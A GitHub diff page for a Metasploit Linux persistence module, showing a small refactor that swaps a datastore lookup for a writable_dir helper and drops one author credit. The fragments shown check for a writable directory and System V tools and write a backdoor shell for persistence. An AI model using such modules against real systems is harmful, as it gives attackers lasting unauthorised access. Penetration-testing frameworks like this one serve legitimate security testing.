File tree Expand file tree Collapse file tree 1 file changed +4
-5
lines changed
modules/exploits/linux/persistence Expand file tree Collapse file tree 1 file changed +4
-5
lines changed Original file line number Diff line number Diff line change @@ -34,7 +34,6 @@ def initialize(info = {})
34
34
'License' => MSF_LICENSE ,
35
35
'Author' => [
36
36
'h00die' ,
37
- 'Cale Black' # systemd user target
38
37
] ,
39
38
'Platform' => [ 'unix' , 'linux' ] ,
40
39
'Targets' => [
@@ -84,19 +83,19 @@ def initialize(info = {})
84
83
end
85
84
86
85
def check
87
- print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if datastore [ 'WritableDir' ] . start_with? ( '/tmp' )
88
- return CheckCode ::Safe ( "#{ datastore [ 'WritableDir' ] } isnt writable" ) unless writable? ( datastore [ 'WritableDir' ] )
86
+ print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if writable_dir . start_with? ( '/tmp' )
87
+ return CheckCode ::Safe ( "#{ writable_dir } isnt writable" ) unless writable? ( writable_dir )
89
88
90
89
has_updatercd = command_exists? ( 'update-rc.d' )
91
90
if has_updatercd || command_exists? ( 'chkconfig' ) # centos 5
92
- return CheckCode ::Appears ( "#{ datastore [ 'WritableDir' ] } is writable and system is System V based" )
91
+ return CheckCode ::Appears ( "#{ writable_dir } is writable and system is System V based" )
93
92
end
94
93
95
94
CheckCode ::Safe ( 'Likely not a System V based system' )
96
95
end
97
96
98
97
def install_persistence
99
- backdoor = write_shell ( datastore [ 'WritableDir' ] )
98
+ backdoor = write_shell ( writable_dir )
100
99
101
100
path = backdoor . split ( '/' ) [ 0 ...-1 ] . join ( '/' )
102
101
file = backdoor . split ( '/' ) [ -1 ]
You can’t perform that action at this time.
0 commit comments